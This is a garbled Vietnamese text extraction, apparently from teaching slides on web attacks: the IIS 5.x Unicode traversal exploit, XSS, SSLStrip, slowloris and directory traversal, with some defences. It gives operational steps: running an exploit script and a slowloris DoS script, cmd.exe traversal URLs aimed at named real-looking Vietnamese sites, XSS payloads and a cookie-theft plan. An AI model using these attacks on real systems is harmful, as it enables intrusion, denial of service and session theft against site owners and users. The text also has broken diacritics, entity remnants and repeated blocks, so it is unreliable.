Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
I Mocirc tảII Caacutech SSLStrip hoạt độngIII Caacutec bước thực hiệnIV Caacutech Phograveng chống SSLStrip
Cơ chế hoạt động của SSLStrip lagrave Attacker chạy Script viết bằng Python thigrave khi đoacute caacutec maacutey trong LAN sẽ đi ra Internet thocircng qua maacutey Attacker luacutec nagravey maacutey Attacker giống như Proxy
Caacutec connection nagraveo từ Client đi ra Internet theo dạng https thigrave bị SSLStrip drop chỉ cho đi theo dạng http Viacute dụ Client gotilde vagraveo URL httpsmailgooglecom thigrave khi nagravey SSLStrip noacute sẽ drop goacutei tin đoacute đồng thời baacuteo cho Client lagrave magravey cứ đi ra theo httpmailgooglecom vagrave trecircn Web Browser của client sẽ hiện ra 1 bảng thocircng baacuteo sai cert Nhưng client truy cập vagraveo gmail theo http ( user+pass được POST lecircn gmail theo dạng Plaintext =gt khi nagravey thigrave attacker dễ dagraveng lagravem việc với caacutec goacutei tin đi theo dạng http)
1 Tạo một Main In The Middle trecircn caacutec kết nối HTTP
2 Thay thế tất cả caacutec liecircn kết với những HTTPS bằng HTTP
3 Giao tiếp với maacutey nạn nhacircn với một kết nối HTTP cho tất cả caacutec kết nối HTTPS
4 Giao tiếp với server với liecircn kết HTTPS5 Tạo proxy giữa Client vagrave Server6 Thay thế caacutec higravenh ảnh như favicon bằng
những higravenh ảnh quen thuộc như caacutec khoacutea an toagraven
7 Luacutec nagravey Clinet bị đaacutenh cắp những thocircng tin quan trọng magrave khocircng biết
TargetUsingFacebook
Attacker sslstrip Proxyin the Middle
To Internet
HTTP
HTTPS
Attracter Web Server Client
Bước 1 Client gửi request tới web server với phương thức Để lấy những thocircng tin cần thiết
Bước 2Attracker đoacuteng vai trograve proxy ở giữa bắt được request vagrave chuyển sang phương thức https vagrave chuyển đến web server
Bước 3 web server sẽ gửi những reponse về cho attracker
Bước 4 Atrracker sẽ chuyển lại những nội dung vừa nhận từ web server tới client nhưng được attracker chỉnh sửa lại giống y như trang gửi về của web server
Luacutec nagravey người dugraveng cứ tưởng migravenh đang kết nối trực tiếp với Web server magrave migravenh đang thao taacutec
Mức độ nguy hiểm cao Caacutech tấn cocircng nagravey chưa thể dograve tigravem ra vagrave cho pheacutep tin tặc đaacutenh cắp mật khẩu hijack vagraveo caacutec phiecircn giao dịch ngacircn hagraveng trực tuyến hay thậm chiacute lagrave đưa ra một bản cập nhật trigravenh duyệt FireFox coacute điacutenh kegravem matilde độc
Khi truy cập website thigrave necircn gotilde theo dạng httpswebsite vagrave nhớ click vagraveo biểu tượng ổ khoacutea khi lướt web xem coacute phải certificate đoacute coacute phải lagrave của web đoacute ko hay lagrave cert giả mạo
Mocirc tả Demo Caacutech phograveng chống
Do Apache mở socket vagrave nhận data từ client (3-way handshakes đatilde hoagraven tất) cho mọi request đi vagraveo vagrave giới hạn mặt định max_client lagrave 150 Vigrave vậy khi slowloris gửi tới server những http request khocircng hoagraven chỉnh apache phải chờ cho http request nagravey time out mặt định lagrave 300s Nếu slowloris gửi liecircn tục caacutec request nagravey tới webserver thigrave chỉ trong vagravei giacircy apache đatilde đạt max_client từ chống phục vụ caacutec client khaacutec
Với giaacute trị TimeOut của apache thigrave noacute ấn định cho 3 điều chiacutenh
1 Thời gian cần thiết để nhận trọn vẹn một g i ửb ng ằ GET 2 Thời gian giữa caacutec goacutei tin TCP g i b ng ử ằ POST hoặc PUT (coacute chứa data) 3 Thời gian giữa caacutec cuacute TCP ACK trong quaacute trigravenh chuyển tải dữ liệu giữa client (browser) vagrave web server (apache)
Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Cơ chế hoạt động của SSLStrip lagrave Attacker chạy Script viết bằng Python thigrave khi đoacute caacutec maacutey trong LAN sẽ đi ra Internet thocircng qua maacutey Attacker luacutec nagravey maacutey Attacker giống như Proxy
Caacutec connection nagraveo từ Client đi ra Internet theo dạng https thigrave bị SSLStrip drop chỉ cho đi theo dạng http Viacute dụ Client gotilde vagraveo URL httpsmailgooglecom thigrave khi nagravey SSLStrip noacute sẽ drop goacutei tin đoacute đồng thời baacuteo cho Client lagrave magravey cứ đi ra theo httpmailgooglecom vagrave trecircn Web Browser của client sẽ hiện ra 1 bảng thocircng baacuteo sai cert Nhưng client truy cập vagraveo gmail theo http ( user+pass được POST lecircn gmail theo dạng Plaintext =gt khi nagravey thigrave attacker dễ dagraveng lagravem việc với caacutec goacutei tin đi theo dạng http)
1 Tạo một Main In The Middle trecircn caacutec kết nối HTTP
2 Thay thế tất cả caacutec liecircn kết với những HTTPS bằng HTTP
